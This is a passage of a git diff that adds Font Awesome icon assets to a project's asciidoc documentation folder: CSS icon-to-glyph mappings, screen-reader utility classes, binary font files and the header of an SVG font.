"\f091"; +} +.fa-github-square:before { + content: "\f092"; +} +.fa-upload:before { + content: "\f093"; +} +.fa-lemon-o:before { + content: "\f094"; +} +.fa-phone:before { + content: "\f095"; +} +.fa-square-o:before { + content: "\f096"; +} +.fa-bookmark-o:before { + content: "\f097"; +} +.fa-phone-square:before { + content: "\f098"; +} +.fa-twitter:before { + content: "\f099"; +} +.fa-facebook-f:before, +.fa-facebook:before { + content: "\f09a"; +} +.fa-github:before { + content: "\f09b"; +} +.fa-unlock:before { + content: "\f09c"; +} +.fa-credit-card:before { + content: "\f09d"; +} +.fa-feed:before, +.fa-rss:before { + content: "\f09e"; +} +.fa-hdd-o:before { + content: "\f0a0"; +} +.fa-bullhorn:before { + content: "\f0a1"; +} +.fa-bell:before { + content: "\f0f3"; +} +.fa-certificate:before { + content: "\f0a3"; +} +.fa-hand-o-right:before { + content: "\f0a4"; +} +.fa-hand-o-left:before { + content: "\f0a5"; +} +.fa-hand-o-up:before { + content: "\f0a6"; +} +.fa-hand-o-down:before { + content: "\f0a7"; +} +.fa-arrow-circle-left:before { + content: "\f0a8"; +} +.fa-arrow-circle-right:before { + content: "\f0a9"; +} +.fa-arrow-circle-up:before { + content: "\f0aa"; +} +.fa-arrow-circle-down:before { + content: "\f0ab"; +} +.fa-globe:before { + content: "\f0ac"; +} +.fa-wrench:before { + content: "\f0ad"; +} +.fa-tasks:before { + content: "\f0ae"; +} +.fa-filter:before { + content: "\f0b0"; +} +.fa-briefcase:before { + content: "\f0b1"; +} +.fa-arrows-alt:before { + content: "\f0b2"; +} +.fa-group:before, +.fa-users:before { + content: "\f0c0"; +} +.fa-chain:before, +.fa-link:before { + content: "\f0c1"; +} +.fa-cloud:before { + content: "\f0c2"; +} +.fa-flask:before { + content: "\f0c3"; +} +.fa-cut:before, +.fa-scissors:before { + content: "\f0c4"; +} +.fa-copy:before, +.fa-files-o:before { + content: "\f0c5"; +} +.fa-paperclip:before { + content: "\f0c6"; +} +.fa-save:before, +.fa-floppy-o:before { + content: "\f0c7"; +} +.fa-square:before { + content: "\f0c8"; +} +.fa-navicon:before, +.fa-reorder:before, +.fa-bars:before { + content: "\f0c9"; +} +.fa-list-ul:before { + content: "\f0ca"; +} +.fa-list-ol:before { + content: "\f0cb"; +} +.fa-strikethrough:before { + content: "\f0cc"; +} +.fa-underline:before { + content: "\f0cd"; +} +.fa-table:before { + content: "\f0ce"; +} +.fa-magic:before { + content: "\f0d0"; +} +.fa-truck:before { + content: "\f0d1"; +} +.fa-pinterest:before { + content: "\f0d2"; +} +.fa-pinterest-square:before { + content: "\f0d3"; +} +.fa-google-plus-square:before { + content: "\f0d4"; +} +.fa-google-plus:before { + content: "\f0d5"; +} +.fa-money:before { + content: "\f0d6"; +} +.fa-caret-down:before { + content: "\f0d7"; +} +.fa-caret-up:before { + content: "\f0d8"; +} +.fa-caret-left:before { + content: "\f0d9"; +} +.fa-caret-right:before { + content: "\f0da"; +} +.fa-columns:before { + content: "\f0db"; +} +.fa-unsorted:before, +.fa-sort:before { + content: "\f0dc"; +} +.fa-sort-down:before, +.fa-sort-desc:before { + content: "\f0dd"; +} +.fa-sort-up:before, +.fa-sort-asc:before { + content: "\f0de"; +} +.fa-envelope:before { + content: "\f0e0"; +} +.fa-linkedin:before { + content: "\f0e1"; +} +.fa-rotate-left:before, +.fa-undo:before { + content: "\f0e2"; +} +.fa-legal:before, +.fa-gavel:before { + content: "\f0e3"; +} +.fa-dashboard:before, +.fa-tachometer:before { + content: "\f0e4"; +} +.fa-comment-o:before { + content: "\f0e5"; +} +.fa-comments-o:before { + content: "\f0e6"; +} +.fa-flash:before, +.fa-bolt:before { + content: "\f0e7"; +} +.fa-sitemap:before { + content: "\f0e8"; +} +.fa-umbrella:before { + content: "\f0e9"; +} +.fa-paste:before, +.fa-clipboard:before { + content: "\f0ea"; +} +.fa-lightbulb-o:before { + content: "\f0eb"; +} +.fa-exchange:before { + content: "\f0ec"; +} +.fa-cloud-download:before { + content: "\f0ed"; +} +.fa-cloud-upload:before { + content: "\f0ee"; +} +.fa-user-md:before { + content: "\f0f0"; +} +.fa-stethoscope:before { + content: "\f0f1"; +} +.fa-suitcase:before { + content: "\f0f2"; +} +.fa-bell-o:before { + content: "\f0a2"; +} +.fa-coffee:before { + content: "\f0f4"; +} +.fa-cutlery:before { + content: "\f0f5"; +} +.fa-file-text-o:before { + content: "\f0f6"; +} +.fa-building-o:before { + content: "\f0f7"; +} +.fa-hospital-o:before { + content: "\f0f8"; +} +.fa-ambulance:before { + content: "\f0f9"; +} +.fa-medkit:before { + content: "\f0fa"; +} +.fa-fighter-jet:before { + content: "\f0fb"; +} +.fa-beer:before { + content: "\f0fc"; +} +.fa-h-square:before { + content: "\f0fd"; +} +.fa-plus-square:before { + content: "\f0fe"; +} +.fa-angle-double-left:before { + content: "\f100"; +} +.fa-angle-double-right:before { + content: "\f101"; +} +.fa-angle-double-up:before { + content: "\f102"; +} +.fa-angle-double-down:before { + content: "\f103"; +} +.fa-angle-left:before { + content: "\f104"; +} +.fa-angle-right:before { + content: "\f105"; +} +.fa-angle-up:before { + content: "\f106"; +} +.fa-angle-down:before { + content: "\f107"; +} +.fa-desktop:before { + content: "\f108"; +} +.fa-laptop:before { + content: "\f109"; +} +.fa-tablet:before { + content: "\f10a"; +} +.fa-mobile-phone:before, +.fa-mobile:before { + content: "\f10b"; +} +.fa-circle-o:before { + content: "\f10c"; +} +.fa-quote-left:before { + content: "\f10d"; +} +.fa-quote-right:before { + content: "\f10e"; +} +.fa-spinner:before { + content: "\f110"; +} +.fa-circle:before { + content: "\f111"; +} +.fa-mail-reply:before, +.fa-reply:before { + content: "\f112"; +} +.fa-github-alt:before { + content: "\f113"; +} +.fa-folder-o:before { + content: "\f114"; +} +.fa-folder-open-o:before { + content: "\f115"; +} +.fa-smile-o:before { + content: "\f118"; +} +.fa-frown-o:before { + content: "\f119"; +} +.fa-meh-o:before { + content: "\f11a"; +} +.fa-gamepad:before { + content: "\f11b"; +} +.fa-keyboard-o:before { + content: "\f11c"; +} +.fa-flag-o:before { + content: "\f11d"; +} +.fa-flag-checkered:before { + content: "\f11e"; +} +.fa-terminal:before { + content: "\f120"; +} +.fa-code:before { + content: "\f121"; +} +.fa-mail-reply-all:before, +.fa-reply-all:before { + content: "\f122"; +} +.fa-star-half-empty:before, +.fa-star-half-full:before, +.fa-star-half-o:before { + content: "\f123"; +} +.fa-location-arrow:before { + content: "\f124"; +} +.fa-crop:before { + content: "\f125"; +} +.fa-code-fork:before { + content: "\f126"; +} +.fa-unlink:before, +.fa-chain-broken:before { + content: "\f127"; +} +.fa-question:before { + content: "\f128"; +} +.fa-info:before { + content: "\f129"; +} +.fa-exclamation:before { + content: "\f12a"; +} +.fa-superscript:before { + content: "\f12b"; +} +.fa-subscript:before { + content: "\f12c"; +} +.fa-eraser:before { + content: "\f12d"; +} +.fa-puzzle-piece:before { + content: "\f12e"; +} +.fa-microphone:before { + content: "\f130"; +} +.fa-microphone-slash:before { + content: "\f131"; +} +.fa-shield:before { + content: "\f132"; +} +.fa-calendar-o:before { + content: "\f133"; +} +.fa-fire-extinguisher:before { + content: "\f134"; +} +.fa-rocket:before { + content: "\f135"; +} +.fa-maxcdn:before { + content: "\f136"; +} +.fa-chevron-circle-left:before { + content: "\f137"; +} +.fa-chevron-circle-right:before { + content: "\f138"; +} +.fa-chevron-circle-up:before { + content: "\f139"; +} +.fa-chevron-circle-down:before { + content: "\f13a"; +} +.fa-html5:before { + content: "\f13b"; +} +.fa-css3:before { + content: "\f13c"; +} +.fa-anchor:before { + content: "\f13d"; +} +.fa-unlock-alt:before { + content: "\f13e"; +} +.fa-bullseye:before { + content: "\f140"; +} +.fa-ellipsis-h:before { + content: "\f141"; +} +.fa-ellipsis-v:before { + content: "\f142"; +} +.fa-rss-square:before { + content: "\f143"; +} +.fa-play-circle:before { + content: "\f144"; +} +.fa-ticket:before { + content: "\f145"; +} +.fa-minus-square:before { + content: "\f146"; +} +.fa-minus-square-o:before { + content: "\f147"; +} +.fa-level-up:before { + content: "\f148"; +} +.fa-level-down:before { + content: "\f149"; +} +.fa-check-square:before { + content: "\f14a"; +} +.fa-pencil-square:before { + content: "\f14b"; +} +.fa-external-link-square:before { + content: "\f14c"; +} +.fa-share-square:before { + content: "\f14d"; +} +.fa-compass:before { + content: "\f14e"; +} +.fa-toggle-down:before, +.fa-caret-square-o-down:before { + content: "\f150"; +} +.fa-toggle-up:before, +.fa-caret-square-o-up:before { + content: "\f151"; +} +.fa-toggle-right:before, +.fa-caret-square-o-right:before { + content: "\f152"; +} +.fa-euro:before, +.fa-eur:before { + content: "\f153"; +} +.fa-gbp:before { + content: "\f154"; +} +.fa-dollar:before, +.fa-usd:before { + content: "\f155"; +} +.fa-rupee:before, +.fa-inr:before { + content: "\f156"; +} +.fa-cny:before, +.fa-rmb:before, +.fa-yen:before, +.fa-jpy:before { + content: "\f157"; +} +.fa-ruble:before, +.fa-rouble:before, +.fa-rub:before { + content: "\f158"; +} +.fa-won:before, +.fa-krw:before { + content: "\f159"; +} +.fa-bitcoin:before, +.fa-btc:before { + content: "\f15a"; +} +.fa-file:before { + content: "\f15b"; +} +.fa-file-text:before { + content: "\f15c"; +} +.fa-sort-alpha-asc:before { + content: "\f15d"; +} +.fa-sort-alpha-desc:before { + content: "\f15e"; +} +.fa-sort-amount-asc:before { + content: "\f160"; +} +.fa-sort-amount-desc:before { + content: "\f161"; +} +.fa-sort-numeric-asc:before { + content: "\f162"; +} +.fa-sort-numeric-desc:before { + content: "\f163"; +} +.fa-thumbs-up:before { + content: "\f164"; +} +.fa-thumbs-down:before { + content: "\f165"; +} +.fa-youtube-square:before { + content: "\f166"; +} +.fa-youtube:before { + content: "\f167"; +} +.fa-xing:before { + content: "\f168"; +} +.fa-xing-square:before { + content: "\f169"; +} +.fa-youtube-play:before { + content: "\f16a"; +} +.fa-dropbox:before { + content: "\f16b"; +} +.fa-stack-overflow:before { + content: "\f16c"; +} +.fa-instagram:before { + content: "\f16d"; +} +.fa-flickr:before { + content: "\f16e"; +} +.fa-adn:before { + content: "\f170"; +} +.fa-bitbucket:before { + content: "\f171"; +} +.fa-bitbucket-square:before { + content: "\f172"; +} +.fa-tumblr:before { + content: "\f173"; +} +.fa-tumblr-square:before { + content: "\f174"; +} +.fa-long-arrow-down:before { + content: "\f175"; +} +.fa-long-arrow-up:before { + content: "\f176"; +} +.fa-long-arrow-left:before { + content: "\f177"; +} +.fa-long-arrow-right:before { + content: "\f178"; +} +.fa-apple:before { + content: "\f179"; +} +.fa-windows:before { + content: "\f17a"; +} +.fa-android:before { + content: "\f17b"; +} +.fa-linux:before { + content: "\f17c"; +} +.fa-dribbble:before { + content: "\f17d"; +} +.fa-skype:before { + content: "\f17e"; +} +.fa-foursquare:before { + content: "\f180"; +} +.fa-trello:before { + content: "\f181"; +} +.fa-female:before { + content: "\f182"; +} +.fa-male:before { + content: "\f183"; +} +.fa-gittip:before, +.fa-gratipay:before { + content: "\f184"; +} +.fa-sun-o:before { + content: "\f185"; +} +.fa-moon-o:before { + content: "\f186"; +} +.fa-archive:before { + content: "\f187"; +} +.fa-bug:before { + content: "\f188"; +} +.fa-vk:before { + content: "\f189"; +} +.fa-weibo:before { + content: "\f18a"; +} +.fa-renren:before { + content: "\f18b"; +} +.fa-pagelines:before { + content: "\f18c"; +} +.fa-stack-exchange:before { + content: "\f18d"; +} +.fa-arrow-circle-o-right:before { + content: "\f18e"; +} +.fa-arrow-circle-o-left:before { + content: "\f190"; +} +.fa-toggle-left:before, +.fa-caret-square-o-left:before { + content: "\f191"; +} +.fa-dot-circle-o:before { + content: "\f192"; +} +.fa-wheelchair:before { + content: "\f193"; +} +.fa-vimeo-square:before { + content: "\f194"; +} +.fa-turkish-lira:before, +.fa-try:before { + content: "\f195"; +} +.fa-plus-square-o:before { + content: "\f196"; +} +.fa-space-shuttle:before { + content: "\f197"; +} +.fa-slack:before { + content: "\f198"; +} +.fa-envelope-square:before { + content: "\f199"; +} +.fa-wordpress:before { + content: "\f19a"; +} +.fa-openid:before { + content: "\f19b"; +} +.fa-institution:before, +.fa-bank:before, +.fa-university:before { + content: "\f19c"; +} +.fa-mortar-board:before, +.fa-graduation-cap:before { + content: "\f19d"; +} +.fa-yahoo:before { + content: "\f19e"; +} +.fa-google:before { + content: "\f1a0"; +} +.fa-reddit:before { + content: "\f1a1"; +} +.fa-reddit-square:before { + content: "\f1a2"; +} +.fa-stumbleupon-circle:before { + content: "\f1a3"; +} +.fa-stumbleupon:before { + content: "\f1a4"; +} +.fa-delicious:before { + content: "\f1a5"; +} +.fa-digg:before { + content: "\f1a6"; +} +.fa-pied-piper-pp:before { + content: "\f1a7"; +} +.fa-pied-piper-alt:before { + content: "\f1a8"; +} +.fa-drupal:before { + content: "\f1a9"; +} +.fa-joomla:before { + content: "\f1aa"; +} +.fa-language:before { + content: "\f1ab"; +} +.fa-fax:before { + content: "\f1ac"; +} +.fa-building:before { + content: "\f1ad"; +} +.fa-child:before { + content: "\f1ae"; +} +.fa-paw:before { + content: "\f1b0"; +} +.fa-spoon:before { + content: "\f1b1"; +} +.fa-cube:before { + content: "\f1b2"; +} +.fa-cubes:before { + content: "\f1b3"; +} +.fa-behance:before { + content: "\f1b4"; +} +.fa-behance-square:before { + content: "\f1b5"; +} +.fa-steam:before { + content: "\f1b6"; +} +.fa-steam-square:before { + content: "\f1b7"; +} +.fa-recycle:before { + content: "\f1b8"; +} +.fa-automobile:before, +.fa-car:before { + content: "\f1b9"; +} +.fa-cab:before, +.fa-taxi:before { + content: "\f1ba"; +} +.fa-tree:before { + content: "\f1bb"; +} +.fa-spotify:before { + content: "\f1bc"; +} +.fa-deviantart:before { + content: "\f1bd"; +} +.fa-soundcloud:before { + content: "\f1be"; +} +.fa-database:before { + content: "\f1c0"; +} +.fa-file-pdf-o:before { + content: "\f1c1"; +} +.fa-file-word-o:before { + content: "\f1c2"; +} +.fa-file-excel-o:before { + content: "\f1c3"; +} +.fa-file-powerpoint-o:before { + content: "\f1c4"; +} +.fa-file-photo-o:before, +.fa-file-picture-o:before, +.fa-file-image-o:before { + content: "\f1c5"; +} +.fa-file-zip-o:before, +.fa-file-archive-o:before { + content: "\f1c6"; +} +.fa-file-sound-o:before, +.fa-file-audio-o:before { + content: "\f1c7"; +} +.fa-file-movie-o:before, +.fa-file-video-o:before { + content: "\f1c8"; +} +.fa-file-code-o:before { + content: "\f1c9"; +} +.fa-vine:before { + content: "\f1ca"; +} +.fa-codepen:before { + content: "\f1cb"; +} +.fa-jsfiddle:before { + content: "\f1cc"; +} +.fa-life-bouy:before, +.fa-life-buoy:before, +.fa-life-saver:before, +.fa-support:before, +.fa-life-ring:before { + content: "\f1cd"; +} +.fa-circle-o-notch:before { + content: "\f1ce"; +} +.fa-ra:before, +.fa-resistance:before, +.fa-rebel:before { + content: "\f1d0"; +} +.fa-ge:before, +.fa-empire:before { + content: "\f1d1"; +} +.fa-git-square:before { + content: "\f1d2"; +} +.fa-git:before { + content: "\f1d3"; +} +.fa-y-combinator-square:before, +.fa-yc-square:before, +.fa-hacker-news:before { + content: "\f1d4"; +} +.fa-tencent-weibo:before { + content: "\f1d5"; +} +.fa-qq:before { + content: "\f1d6"; +} +.fa-wechat:before, +.fa-weixin:before { + content: "\f1d7"; +} +.fa-send:before, +.fa-paper-plane:before { + content: "\f1d8"; +} +.fa-send-o:before, +.fa-paper-plane-o:before { + content: "\f1d9"; +} +.fa-history:before { + content: "\f1da"; +} +.fa-circle-thin:before { + content: "\f1db"; +} +.fa-header:before { + content: "\f1dc"; +} +.fa-paragraph:before { + content: "\f1dd"; +} +.fa-sliders:before { + content: "\f1de"; +} +.fa-share-alt:before { + content: "\f1e0"; +} +.fa-share-alt-square:before { + content: "\f1e1"; +} +.fa-bomb:before { + content: "\f1e2"; +} +.fa-soccer-ball-o:before, +.fa-futbol-o:before { + content: "\f1e3"; +} +.fa-tty:before { + content: "\f1e4"; +} +.fa-binoculars:before { + content: "\f1e5"; +} +.fa-plug:before { + content: "\f1e6"; +} +.fa-slideshare:before { + content: "\f1e7"; +} +.fa-twitch:before { + content: "\f1e8"; +} +.fa-yelp:before { + content: "\f1e9"; +} +.fa-newspaper-o:before { + content: "\f1ea"; +} +.fa-wifi:before { + content: "\f1eb"; +} +.fa-calculator:before { + content: "\f1ec"; +} +.fa-paypal:before { + content: "\f1ed"; +} +.fa-google-wallet:before { + content: "\f1ee"; +} +.fa-cc-visa:before { + content: "\f1f0"; +} +.fa-cc-mastercard:before { + content: "\f1f1"; +} +.fa-cc-discover:before { + content: "\f1f2"; +} +.fa-cc-amex:before { + content: "\f1f3"; +} +.fa-cc-paypal:before { + content: "\f1f4"; +} +.fa-cc-stripe:before { + content: "\f1f5"; +} +.fa-bell-slash:before { + content: "\f1f6"; +} +.fa-bell-slash-o:before { + content: "\f1f7"; +} +.fa-trash:before { + content: "\f1f8"; +} +.fa-copyright:before { + content: "\f1f9"; +} +.fa-at:before { + content: "\f1fa"; +} +.fa-eyedropper:before { + content: "\f1fb"; +} +.fa-paint-brush:before { + content: "\f1fc"; +} +.fa-birthday-cake:before { + content: "\f1fd"; +} +.fa-area-chart:before { + content: "\f1fe"; +} +.fa-pie-chart:before { + content: "\f200"; +} +.fa-line-chart:before { + content: "\f201"; +} +.fa-lastfm:before { + content: "\f202"; +} +.fa-lastfm-square:before { + content: "\f203"; +} +.fa-toggle-off:before { + content: "\f204"; +} +.fa-toggle-on:before { + content: "\f205"; +} +.fa-bicycle:before { + content: "\f206"; +} +.fa-bus:before { + content: "\f207"; +} +.fa-ioxhost:before { + content: "\f208"; +} +.fa-angellist:before { + content: "\f209"; +} +.fa-cc:before { + content: "\f20a"; +} +.fa-shekel:before, +.fa-sheqel:before, +.fa-ils:before { + content: "\f20b"; +} +.fa-meanpath:before { + content: "\f20c"; +} +.fa-buysellads:before { + content: "\f20d"; +} +.fa-connectdevelop:before { + content: "\f20e"; +} +.fa-dashcube:before { + content: "\f210"; +} +.fa-forumbee:before { + content: "\f211"; +} +.fa-leanpub:before { + content: "\f212"; +} +.fa-sellsy:before { + content: "\f213"; +} +.fa-shirtsinbulk:before { + content: "\f214"; +} +.fa-simplybuilt:before { + content: "\f215"; +} +.fa-skyatlas:before { + content: "\f216"; +} +.fa-cart-plus:before { + content: "\f217"; +} +.fa-cart-arrow-down:before { + content: "\f218"; +} +.fa-diamond:before { + content: "\f219"; +} +.fa-ship:before { + content: "\f21a"; +} +.fa-user-secret:before { + content: "\f21b"; +} +.fa-motorcycle:before { + content: "\f21c"; +} +.fa-street-view:before { + content: "\f21d"; +} +.fa-heartbeat:before { + content: "\f21e"; +} +.fa-venus:before { + content: "\f221"; +} +.fa-mars:before { + content: "\f222"; +} +.fa-mercury:before { + content: "\f223"; +} +.fa-intersex:before, +.fa-transgender:before { + content: "\f224"; +} +.fa-transgender-alt:before { + content: "\f225"; +} +.fa-venus-double:before { + content: "\f226"; +} +.fa-mars-double:before { + content: "\f227"; +} +.fa-venus-mars:before { + content: "\f228"; +} +.fa-mars-stroke:before { + content: "\f229"; +} +.fa-mars-stroke-v:before { + content: "\f22a"; +} +.fa-mars-stroke-h:before { + content: "\f22b"; +} +.fa-neuter:before { + content: "\f22c"; +} +.fa-genderless:before { + content: "\f22d"; +} +.fa-facebook-official:before { + content: "\f230"; +} +.fa-pinterest-p:before { + content: "\f231"; +} +.fa-whatsapp:before { + content: "\f232"; +} +.fa-server:before { + content: "\f233"; +} +.fa-user-plus:before { + content: "\f234"; +} +.fa-user-times:before { + content: "\f235"; +} +.fa-hotel:before, +.fa-bed:before { + content: "\f236"; +} +.fa-viacoin:before { + content: "\f237"; +} +.fa-train:before { + content: "\f238"; +} +.fa-subway:before { + content: "\f239"; +} +.fa-medium:before { + content: "\f23a"; +} +.fa-yc:before, +.fa-y-combinator:before { + content: "\f23b"; +} +.fa-optin-monster:before { + content: "\f23c"; +} +.fa-opencart:before { + content: "\f23d"; +} +.fa-expeditedssl:before { + content: "\f23e"; +} +.fa-battery-4:before, +.fa-battery:before, +.fa-battery-full:before { + content: "\f240"; +} +.fa-battery-3:before, +.fa-battery-three-quarters:before { + content: "\f241"; +} +.fa-battery-2:before, +.fa-battery-half:before { + content: "\f242"; +} +.fa-battery-1:before, +.fa-battery-quarter:before { + content: "\f243"; +} +.fa-battery-0:before, +.fa-battery-empty:before { + content: "\f244"; +} +.fa-mouse-pointer:before { + content: "\f245"; +} +.fa-i-cursor:before { + content: "\f246"; +} +.fa-object-group:before { + content: "\f247"; +} +.fa-object-ungroup:before { + content: "\f248"; +} +.fa-sticky-note:before { + content: "\f249"; +} +.fa-sticky-note-o:before { + content: "\f24a"; +} +.fa-cc-jcb:before { + content: "\f24b"; +} +.fa-cc-diners-club:before { + content: "\f24c"; +} +.fa-clone:before { + content: "\f24d"; +} +.fa-balance-scale:before { + content: "\f24e"; +} +.fa-hourglass-o:before { + content: "\f250"; +} +.fa-hourglass-1:before, +.fa-hourglass-start:before { + content: "\f251"; +} +.fa-hourglass-2:before, +.fa-hourglass-half:before { + content: "\f252"; +} +.fa-hourglass-3:before, +.fa-hourglass-end:before { + content: "\f253"; +} +.fa-hourglass:before { + content: "\f254"; +} +.fa-hand-grab-o:before, +.fa-hand-rock-o:before { + content: "\f255"; +} +.fa-hand-stop-o:before, +.fa-hand-paper-o:before { + content: "\f256"; +} +.fa-hand-scissors-o:before { + content: "\f257"; +} +.fa-hand-lizard-o:before { + content: "\f258"; +} +.fa-hand-spock-o:before { + content: "\f259"; +} +.fa-hand-pointer-o:before { + content: "\f25a"; +} +.fa-hand-peace-o:before { + content: "\f25b"; +} +.fa-trademark:before { + content: "\f25c"; +} +.fa-registered:before { + content: "\f25d"; +} +.fa-creative-commons:before { + content: "\f25e"; +} +.fa-gg:before { + content: "\f260"; +} +.fa-gg-circle:before { + content: "\f261"; +} +.fa-tripadvisor:before { + content: "\f262"; +} +.fa-odnoklassniki:before { + content: "\f263"; +} +.fa-odnoklassniki-square:before { + content: "\f264"; +} +.fa-get-pocket:before { + content: "\f265"; +} +.fa-wikipedia-w:before { + content: "\f266"; +} +.fa-safari:before { + content: "\f267"; +} +.fa-chrome:before { + content: "\f268"; +} +.fa-firefox:before { + content: "\f269"; +} +.fa-opera:before { + content: "\f26a"; +} +.fa-internet-explorer:before { + content: "\f26b"; +} +.fa-tv:before, +.fa-television:before { + content: "\f26c"; +} +.fa-contao:before { + content: "\f26d"; +} +.fa-500px:before { + content: "\f26e"; +} +.fa-amazon:before { + content: "\f270"; +} +.fa-calendar-plus-o:before { + content: "\f271"; +} +.fa-calendar-minus-o:before { + content: "\f272"; +} +.fa-calendar-times-o:before { + content: "\f273"; +} +.fa-calendar-check-o:before { + content: "\f274"; +} +.fa-industry:before { + content: "\f275"; +} +.fa-map-pin:before { + content: "\f276"; +} +.fa-map-signs:before { + content: "\f277"; +} +.fa-map-o:before { + content: "\f278"; +} +.fa-map:before { + content: "\f279"; +} +.fa-commenting:before { + content: "\f27a"; +} +.fa-commenting-o:before { + content: "\f27b"; +} +.fa-houzz:before { + content: "\f27c"; +} +.fa-vimeo:before { + content: "\f27d"; +} +.fa-black-tie:before { + content: "\f27e"; +} +.fa-fonticons:before { + content: "\f280"; +} +.fa-reddit-alien:before { + content: "\f281"; +} +.fa-edge:before { + content: "\f282"; +} +.fa-credit-card-alt:before { + content: "\f283"; +} +.fa-codiepie:before { + content: "\f284"; +} +.fa-modx:before { + content: "\f285"; +} +.fa-fort-awesome:before { + content: "\f286"; +} +.fa-usb:before { + content: "\f287"; +} +.fa-product-hunt:before { + content: "\f288"; +} +.fa-mixcloud:before { + content: "\f289"; +} +.fa-scribd:before { + content: "\f28a"; +} +.fa-pause-circle:before { + content: "\f28b"; +} +.fa-pause-circle-o:before { + content: "\f28c"; +} +.fa-stop-circle:before { + content: "\f28d"; +} +.fa-stop-circle-o:before { + content: "\f28e"; +} +.fa-shopping-bag:before { + content: "\f290"; +} +.fa-shopping-basket:before { + content: "\f291"; +} +.fa-hashtag:before { + content: "\f292"; +} +.fa-bluetooth:before { + content: "\f293"; +} +.fa-bluetooth-b:before { + content: "\f294"; +} +.fa-percent:before { + content: "\f295"; +} +.fa-gitlab:before { + content: "\f296"; +} +.fa-wpbeginner:before { + content: "\f297"; +} +.fa-wpforms:before { + content: "\f298"; +} +.fa-envira:before { + content: "\f299"; +} +.fa-universal-access:before { + content: "\f29a"; +} +.fa-wheelchair-alt:before { + content: "\f29b"; +} +.fa-question-circle-o:before { + content: "\f29c"; +} +.fa-blind:before { + content: "\f29d"; +} +.fa-audio-description:before { + content: "\f29e"; +} +.fa-volume-control-phone:before { + content: "\f2a0"; +} +.fa-braille:before { + content: "\f2a1"; +} +.fa-assistive-listening-systems:before { + content: "\f2a2"; +} +.fa-asl-interpreting:before, +.fa-american-sign-language-interpreting:before { + content: "\f2a3"; +} +.fa-deafness:before, +.fa-hard-of-hearing:before, +.fa-deaf:before { + content: "\f2a4"; +} +.fa-glide:before { + content: "\f2a5"; +} +.fa-glide-g:before { + content: "\f2a6"; +} +.fa-signing:before, +.fa-sign-language:before { + content: "\f2a7"; +} +.fa-low-vision:before { + content: "\f2a8"; +} +.fa-viadeo:before { + content: "\f2a9"; +} +.fa-viadeo-square:before { + content: "\f2aa"; +} +.fa-snapchat:before { + content: "\f2ab"; +} +.fa-snapchat-ghost:before { + content: "\f2ac"; +} +.fa-snapchat-square:before { + content: "\f2ad"; +} +.fa-pied-piper:before { + content: "\f2ae"; +} +.fa-first-order:before { + content: "\f2b0"; +} +.fa-yoast:before { + content: "\f2b1"; +} +.fa-themeisle:before { + content: "\f2b2"; +} +.fa-google-plus-circle:before, +.fa-google-plus-official:before { + content: "\f2b3"; +} +.fa-fa:before, +.fa-font-awesome:before { + content: "\f2b4"; +} +.fa-handshake-o:before { + content: "\f2b5"; +} +.fa-envelope-open:before { + content: "\f2b6"; +} +.fa-envelope-open-o:before { + content: "\f2b7"; +} +.fa-linode:before { + content: "\f2b8"; +} +.fa-address-book:before { + content: "\f2b9"; +} +.fa-address-book-o:before { + content: "\f2ba"; +} +.fa-vcard:before, +.fa-address-card:before { + content: "\f2bb"; +} +.fa-vcard-o:before, +.fa-address-card-o:before { + content: "\f2bc"; +} +.fa-user-circle:before { + content: "\f2bd"; +} +.fa-user-circle-o:before { + content: "\f2be"; +} +.fa-user-o:before { + content: "\f2c0"; +} +.fa-id-badge:before { + content: "\f2c1"; +} +.fa-drivers-license:before, +.fa-id-card:before { + content: "\f2c2"; +} +.fa-drivers-license-o:before, +.fa-id-card-o:before { + content: "\f2c3"; +} +.fa-quora:before { + content: "\f2c4"; +} +.fa-free-code-camp:before { + content: "\f2c5"; +} +.fa-telegram:before { + content: "\f2c6"; +} +.fa-thermometer-4:before, +.fa-thermometer:before, +.fa-thermometer-full:before { + content: "\f2c7"; +} +.fa-thermometer-3:before, +.fa-thermometer-three-quarters:before { + content: "\f2c8"; +} +.fa-thermometer-2:before, +.fa-thermometer-half:before { + content: "\f2c9"; +} +.fa-thermometer-1:before, +.fa-thermometer-quarter:before { + content: "\f2ca"; +} +.fa-thermometer-0:before, +.fa-thermometer-empty:before { + content: "\f2cb"; +} +.fa-shower:before { + content: "\f2cc"; +} +.fa-bathtub:before, +.fa-s15:before, +.fa-bath:before { + content: "\f2cd"; +} +.fa-podcast:before { + content: "\f2ce"; +} +.fa-window-maximize:before { + content: "\f2d0"; +} +.fa-window-minimize:before { + content: "\f2d1"; +} +.fa-window-restore:before { + content: "\f2d2"; +} +.fa-times-rectangle:before, +.fa-window-close:before { + content: "\f2d3"; +} +.fa-times-rectangle-o:before, +.fa-window-close-o:before { + content: "\f2d4"; +} +.fa-bandcamp:before { + content: "\f2d5"; +} +.fa-grav:before { + content: "\f2d6"; +} +.fa-etsy:before { + content: "\f2d7"; +} +.fa-imdb:before { + content: "\f2d8"; +} +.fa-ravelry:before { + content: "\f2d9"; +} +.fa-eercast:before { + content: "\f2da"; +} +.fa-microchip:before { + content: "\f2db"; +} +.fa-snowflake-o:before { + content: "\f2dc"; +} +.fa-superpowers:before { + content: "\f2dd"; +} +.fa-wpexplorer:before { + content: "\f2de"; +} +.fa-meetup:before { + content: "\f2e0"; +} +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + border: 0; +} +.sr-only-focusable:active, +.sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + margin: 0; + overflow: visible; + clip: auto; +} diff --git a/src/main/asciidoc/fonts/FontAwesome.otf b/src/main/asciidoc/fonts/FontAwesome.otf new file mode 100644 index 00000000000..401ec0f36e4 Binary files /dev/null and b/src/main/asciidoc/fonts/FontAwesome.otf differ diff --git a/src/main/asciidoc/fonts/fontawesome-webfont.eot b/src/main/asciidoc/fonts/fontawesome-webfont.eot new file mode 100644 index 00000000000..e9f60ca953f Binary files /dev/null and b/src/main/asciidoc/fonts/fontawesome-webfont.eot differ diff --git a/src/main/asciidoc/fonts/fontawesome-webfont.svg b/src/main/asciidoc/fonts/fontawesome-webfont.svg new file mode 100644 index 00000000000..855c845e538 --- /dev/null +++ b/src/main/asciidoc/fonts/fontawesome-webfont.svg @@ -0,0 +1,2671 @@ + + + + +Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016 + By ,,, +Copyright Dave Gandy 2016. All rights reserved. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 